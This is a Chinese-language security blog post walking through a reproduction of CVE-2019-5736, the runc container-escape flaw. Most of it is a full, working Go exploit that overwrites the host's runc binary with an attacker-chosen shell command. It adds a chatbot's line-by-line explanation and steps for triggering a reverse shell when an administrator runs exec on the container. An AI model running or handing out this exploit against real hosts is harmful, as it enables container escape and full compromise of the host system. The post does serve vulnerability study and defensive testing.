docker逃逸漏洞的复现过程

admin 2024年5月13日01:21:20评论12 views字数 2702阅读9分0秒阅读模式

前言

利用条件

  1. DockerVersion<18.09.2

  2. RunCVersion<1.0-rc6

  3. 攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限

利用原理

这里的问题存在于,当我们去进入一个容器的时候,会去调用Runc执行一些相关的程序,这个版本的Runc允许我们覆盖其执行的二进制文件,从而执行了我们写入的命令造成了容器逃逸。

复现过程

poc如下

  1. package main

  2. // Implementation of CVE-2019-5736

  3. // Created with help from @singe, @_cablethief, and @feexd.

  4. // This commit also helped a ton to understand the vuln

  5. // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d

  6. import(

  7. "fmt"

  8. "io/ioutil"

  9. "os"

  10. "strconv"

  11. "strings"

  12. "flag"

  13. )

  14. var shellCmd string

  15. func init(){

  16. flag.StringVar(&shellCmd,"shell","","Execute arbitrary commands")

  17. flag.Parse()

  18. }

  19. func main(){

  20. // This is the line of shell commands that will execute on the host

  21. var payload ="#!/bin/bash n"+ shellCmd

  22. // First we overwrite /bin/sh with the /proc/self/exe interpreter path

  23. fd, err := os.Create("/bin/sh")

  24. if err !=nil{

  25. fmt.Println(err)

  26. return

  27. }

  28. fmt.Fprintln(fd,"#!/proc/self/exe")

  29. err = fd.Close()

  30. if err !=nil{

  31. fmt.Println(err)

  32. return

  33. }

  34. fmt.Println("[+] Overwritten /bin/sh successfully")

  35. // Loop through all processes to find one whose cmdline includes runcinit

  36. // This will be the process created by runc

  37. var found int

  38. for found ==0{

  39. pids, err := ioutil.ReadDir("/proc")

  40. if err !=nil{

  41. fmt.Println(err)

  42. return

  43. }

  44. for _, f := range pids {

  45. fbytes, _ := ioutil.ReadFile("/proc/"+ f.Name()+"/cmdline")

  46. fstring :=string(fbytes)

  47. if strings.Contains(fstring,"runc"){

  48. fmt.Println("[+] Found the PID:", f.Name())

  49. found, err = strconv.Atoi(f.Name())

  50. if err !=nil{

  51. fmt.Println(err)

  52. return

  53. }

  54. }

  55. }

  56. }

  57. // We will use the pid to get a file handle for runc on the host.

  58. var handleFd =-1

  59. for handleFd ==-1{

  60. // Note, you do not need to use the O_PATH flag for the exploit to work.

  61. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY,0777)

  62. ifint(handle.Fd())>0{

  63. handleFd =int(handle.Fd())

  64. }

  65. }

  66. fmt.Println("[+] Successfully got the file handle")

  67. // Now that we have the file handle, lets write to the runc binary and overwrite it

  68. // It will maintain it's executable flag

  69. for{

  70. writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC,0700)

  71. ifint(writeHandle.Fd())>0{

  72. fmt.Println("[+] Successfully got write handle", writeHandle)

  73. fmt.Println("[+] The command executed is"+ payload)

  74. writeHandle.Write([]byte(payload))

  75. return

  76. }

  77. }

  78. }

这是gpt对这段代码的讲解

  1. 这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。

  2. 代码的主要逻辑如下:

  3. 导入所需的包和定义全局变量。

  4. init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。

  5. main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。

  6. 创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。

  7. 循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。

  8. 使用PID获取runc进程的文件句柄handleFd

  9. 使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。

  10. 程序结束。

  11. 这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。

首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行,
这里需要root权限。
docker逃逸漏洞的复现过程
这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell

docker逃逸漏洞的复现过程

docker逃逸漏洞的复现过程


原文始发于微信公众号(渗透安全团队):docker逃逸漏洞的复现过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:21:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   docker逃逸漏洞的复现过程https://cn-sec.com/archives/2077295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息